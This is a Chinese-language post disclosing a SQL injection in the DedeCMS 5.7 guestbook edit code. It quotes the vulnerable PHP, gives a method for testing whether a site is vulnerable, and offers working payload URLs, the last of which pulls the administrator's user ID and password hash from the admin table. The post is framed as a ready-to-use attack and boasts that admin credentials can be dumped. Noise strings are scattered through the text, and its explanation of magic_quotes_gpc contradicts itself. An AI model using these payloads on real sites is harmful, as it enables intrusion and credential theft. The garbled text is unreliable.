影响版本为5.7
% L" n- w% G" W7 h5 c* C: U. X# G7 ^" w8 R. ~
漏洞文件edit.inc.php具体代码:- L: t- d" r i* z7 J# O; u
. k2 H# Q! Q; z I
< ?php 0 C; q, b; X6 S3 j" N- {
- @% y2 o; J) E; ^# i4 j* @9 n% K
if(!defined('DEDEINC')) exit('Request Error!');
' b% ]1 j/ M( U7 V8 i9 N( O& A: q. k; ^
/ ?2 Y5 @6 G) g+ D/ f* Y
8 I' }8 x4 ~9 s( y0 hif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; 1 i0 T/ w; n- ], E
1 [; L' U2 @$ c& j7 E7 O2 _6 e2 K1 a
else $GUEST_BOOK_POS = "guestbook.php";
. ]+ ^2 X; E$ t( x
- b) n! R/ A6 X& E" ^$ l0 m/ f # E6 H. r9 r; q. U1 Z* X- O7 C
$ o/ p* }( K4 n* Z+ E( \! {6 g5 v
$id = intval($id); 9 G9 d' e3 R5 z+ f8 R
; Q& f. |+ }. ?, [: Z6 R7 L
if(empty($job)) $job='view';
, [1 E) a, V0 W: _3 U4 N$ E9 T
5 _; @0 E/ C3 I+ s
3 A' ^& N: R7 L9 ?
- M. I+ J( o! rif($job=='del' && $g_isadmin)
{# {5 M# x' Y' v: B, x; E% r% L& B) i0 O4 G) ]" M7 w
{
6 I% |0 V j* g$ Q$ N4 k" k& _, L$ r
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
3 |1 f! t/ z# e$ X- x( u! t, i6 i" ^
+ Y7 Z# k# P, n$ X1 O/ XShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); ; |& r! j) h8 Y2 [. h$ M
* F2 A5 Y1 C. ^( _/ K8 J# |2 {exit();
2 y0 P; V, V1 ]- n. }
! Q2 B2 x% | C; d}
- e2 v+ n, i4 m/ k' i% ], ^. i. O' k% W* K5 E
else if($job=='check' && $g_isadmin)
; h8 y( }' ]/ T! Y
% Z8 f& z! |' C# n! m/ \1 j{
$ p- l* M, E) z: n+ r) ]. w P7 S0 ~ r3 a& r
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); " G8 i: y" Y, l. _$ _
' R* b. M+ U3 F& ?/ U4 W) A; ]ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); ! V; v: s& D9 g) S" ~
) T# e8 \: J" A7 T, K
exit();
- b* \2 Y8 g9 _; y7 B2 y3 @: k i* f8 ?" s2 r. c2 |' {1 I5 l
} & z+ h& W* T( R9 ^: N2 C! d) D+ o
; x% O n$ ?. \- V9 Q
else if($job=='editok') 9 a- r5 ]- [ ~
7 f0 x2 g) E/ r7 [9 {{
3 V- D6 U5 d' d6 a# W% H5 r6 U9 T' j) {- X6 V, Z' \4 K
$remsg = trim($remsg);
2 p% o4 ]- u( v: H* s* o& g
! s, \( T1 Q, ~if($remsg!='')
# e. {7 A/ C$ O) ~$ }* f& D/ P( l, D
{ / d/ a" K0 O% n: M9 C3 U" T: t
0 m" s& t: K/ e//管理员回复不过滤HTML By:Errorera blog:errs.cc 5 B0 e: W- }% t4 M
) S9 t G- g7 M5 u" sif($g_isadmin)
' w8 ]. u- i& W& ~
, r& G" q$ a0 `7 y$ s* E{ & T: R3 V1 |: F
* W6 y9 g' `/ I. V) q2 q* T; M; D- c$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
0 ~" p3 ^% I1 {: S( o* Q
3 b0 X$ e+ m9 D//$remsg <br /><font color=red>管理员回复:</font> } 9 [8 O7 q. l9 v3 b# ]8 e) e4 P
$ N5 H9 _3 ^6 x+ t" y5 c
else
! o6 i- I) k8 M( M1 n) A8 i9 B) j$ z' Q7 W
{ 3 |' Q. d% L" i! N- W& O
. h/ d& I, I) \+ \3 F( U+ [& R$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 0 L& O4 j3 x$ f3 ?, }
3 o# T1 ^, @8 s9 `5 i9 \3 g: ]
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; $ ]$ d$ p, @" b9 D" p: E
. W. m" ?( k2 r$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
/ ^$ ]# j0 I5 Q& z% I& z( V
) \4 Q# Q: q* F k! ^/ t. w$ W1 v$msg = $oldmsg.$remsg;
- T4 d- \! _: M/ V; v
2 D# ^5 j) X4 y0 T% m}
6 x, q' X; E" Q" S l& F# g9 Q \
; o) c2 {' A& a9 V' ?2 a} ! w- j0 w: T9 `3 n; ~3 d
( P! c( V0 P* M, c2 t1 k" K
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
$ R2 |+ m. a% G: ~3 ?1 M, M: ]
1 z0 z" x: p4 F. f) [$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); ' Z) [9 N; q. `9 k! D n! E
/ U b, y7 [( K; D9 [ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
& B! |4 Y7 E) p8 T `; \2 p- s, J
6 r- G7 x; z. X \ w! C( H0 yexit();
+ X- ?1 M! g+ n5 I" o% I
# N, k# h. b" p" P) w}
7 L7 K* ^" O5 \5 c1 `/ s, z j ^0 u% m1 W
//home:www.errs.cc # a" n$ {+ C" l! S' y
9 `5 \+ C9 p9 y( k L! Rif($g_isadmin) ' e& U! k2 T9 j/ e$ l
/ v- e9 ]) {! d( r5 l7 H{
% B' ~: E& l6 g0 M
* D$ t1 B0 L) ?+ W. a$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
0 \6 ]8 m T) Z/ A B, Z+ Z4 M8 X( s. m8 \: F: a7 B' N
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
2 ^2 H: l$ m% U( E" @ \3 Z; g: z! e( C/ J7 z7 B
} + @; _0 I9 g; k* P+ O, P3 e/ H# d7 k3 J
/ R; p) W! i- u3 p3 ~+ {% Y* Gelse 1 ?/ { W9 b0 u% q# Y
" e0 r. l, @" @ C: \2 r" T{ - F8 z( O, T9 d c5 B
$ w$ v$ u+ y. j) k9 g. D$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
; K: ]* U- `0 |) \
) }) T% c0 u3 G- s: a/ u4 o- @0 brequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); , t9 y. T; i$ {- A/ z! b
6 O t3 ?1 a' ]0 q* k# x; J
} 漏洞成功需要条件:& O8 t+ n3 G: N o' b; n3 h
1. php magic_quotes_gpc=off/ Z' J( a# q0 \2 L( `7 G5 Z" h+ i
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
' V6 N. ?$ k4 F7 _4 \: }) Z; l3 s6 I f3 e
怎么判断是否存在漏洞:9 `4 o* v5 Q1 c/ D+ C/ \) E6 X& v
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
7 h8 a1 u9 ?9 ^* d然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID3 p3 n+ y& T9 |3 n& c; u
访问:/ W4 G6 E' [# W* e3 \$ P6 |
" `0 c4 c) X1 k" A4 twww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
_# d# t u3 }5 \* z0 [跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
9 t- I. K2 k9 n# o7 @/ @) i+ M7 m. Q$ v {2 W8 k# K
( x+ b/ z+ \ w9 Y/ [* s明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
1 b: t2 _6 n2 O" c$ _2 M如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
# Z0 W; p w. @. i- {那么再次访问" s V1 l: @) {6 y" T" O
/ m8 P/ {/ C2 z i( @9 y2 ^5 r2 o0 Y% U
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
( T$ z/ j8 O5 v/ j2 i
' G) w( W0 W$ K4 a) \% o% b大概利用就是这样,大家有兴趣的多研究下!!
8 l2 u! m7 a/ Z z; Q9 Z" p+ ^( w
- b+ k, ^6 j, H3 m最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
5 A6 O* e6 {, t2 j3 O5 R- {% G
; O+ f. o2 o3 r7 nview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |